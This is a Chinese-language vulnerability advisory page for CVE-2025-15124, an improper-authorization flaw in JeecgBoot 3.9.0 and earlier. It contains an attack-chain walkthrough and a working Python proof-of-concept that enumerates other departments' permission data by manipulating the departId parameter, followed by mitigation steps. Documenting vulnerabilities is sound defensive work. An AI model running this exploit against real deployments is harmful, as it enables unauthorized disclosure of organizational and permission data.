IPBUF安全漏洞报告
English
CVE-2025-15124 CVSS 3.1 低危

CVE-2025-15124: JeecgBoot 3.9.0及之前版本权限控制不当漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15124
漏洞类型
权限控制不当
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

权限控制不当JeecgBoot水平权限提升信息泄露CVE-2025-15124低代码平台API安全

漏洞概述

CVE-2025-15124是存在于JeecgBoot企业级低代码平台中的一个安全漏洞,影响版本最高至3.9.0。该漏洞位于系统权限管理模块,具体涉及/sys/sysDepartPermission/list接口中的getParameterMap函数。攻击者可以通过操控departId参数,绕过正常的权限验证机制,在低权限状态下访问本应需要更高权限才能查看的敏感部门权限信息。由于JeecgBoot广泛应用于企业内部的权限管理和数据流转,该漏洞可能导致组织架构信息、用户权限配置等敏感数据的未授权泄露。虽然该漏洞的CVSS评分较低(3.1),但考虑到攻击复杂度较低且漏洞利用代码已公开,仍需引起重视并及时修复。

技术细节

该漏洞的根本原因在于JeecgBoot的/sys/sysDepartPermission/list接口对departId参数的处理存在权限校验缺陷。在正常的权限控制流程中,系统应当根据当前登录用户的角色和权限级别,验证其是否有权访问特定部门(departId)的权限信息。然而,由于getParameterMap函数在处理请求参数时未充分执行权限校验逻辑,攻击者只需构造包含目标departId的请求,即可绕过前端权限限制获取相关数据。攻击者可以利用普通用户账号,通过HTTP请求直接调用该API接口,传入任意departId值(如departId=1)来枚举和获取其他部门的权限配置信息。这种横向权限提升(Horizontal Privilege Escalation)虽然不影响系统的完整性和可用性,但会导致部门敏感信息的机密性受损。漏洞利用难度较低,公开的PoC代码表明攻击者只需发送简单的HTTP GET或POST请求即可完成利用。

攻击链分析

STEP 1
1. 信息收集
攻击者首先识别目标系统是否使用JeecgBoot框架,并确认版本是否在3.9.0及以下
STEP 2
2. 账户获取
攻击者获取一个低权限用户账户,该账户本应无权访问其他部门的权限信息
STEP 3
3. 会话建立
使用低权限账户登录系统,获取有效的会话Cookie或认证令牌
STEP 4
4. 漏洞探测
向/sys/sysDepartPermission/list接口发送包含目标departId参数的请求
STEP 5
5. 权限绕过
由于接口未正确校验departId参数与当前用户权限的对应关系,攻击者成功获取目标部门的权限配置数据
STEP 6
6. 数据窃取
通过遍历不同的departId值,枚举并收集所有部门的敏感权限信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15124 PoC - JeecgBoot Improper Authorization # Target: /sys/sysDepartPermission/list endpoint # Vulnerability: Bypass authorization via departId parameter manipulation import requests import json target_url = "http://target-server/jeecg-boot/sys/sysDepartPermission/list" # Standard low-privilege user session cookies = { "JSESSIONID": "YOUR_SESSION_ID_HERE" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Vulnerability: No proper authorization check on departId parameter # Attacker can access other departments' permission data with low privilege # Method 1: GET request with query parameter params = { "departId": "1" # Target department ID to enumerate } response = requests.get( target_url, params=params, cookies=cookies, headers=headers, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {json.dumps(response.json(), indent=2, ensure_ascii=False)}") # Method 2: POST request with JSON body data = { "departId": "1" } response = requests.post( target_url, json=data, cookies=cookies, headers=headers, verify=False, timeout=10 ) print(f"POST Response: {json.dumps(response.json(), indent=2, ensure_ascii=False)}")

影响范围

JeecgBoot <= 3.9.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)在Web应用防火墙(WAF)上配置规则,限制对/sys/sysDepartPermission/list接口的访问频率;2)临时禁用该接口的公网访问,仅允许内网受信任IP访问;3)实施IP白名单策略限制;4)增加应用层审计日志,监控异常的部门权限查询行为;5)联系JeecgBoot官方获取安全补丁或临时修复方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表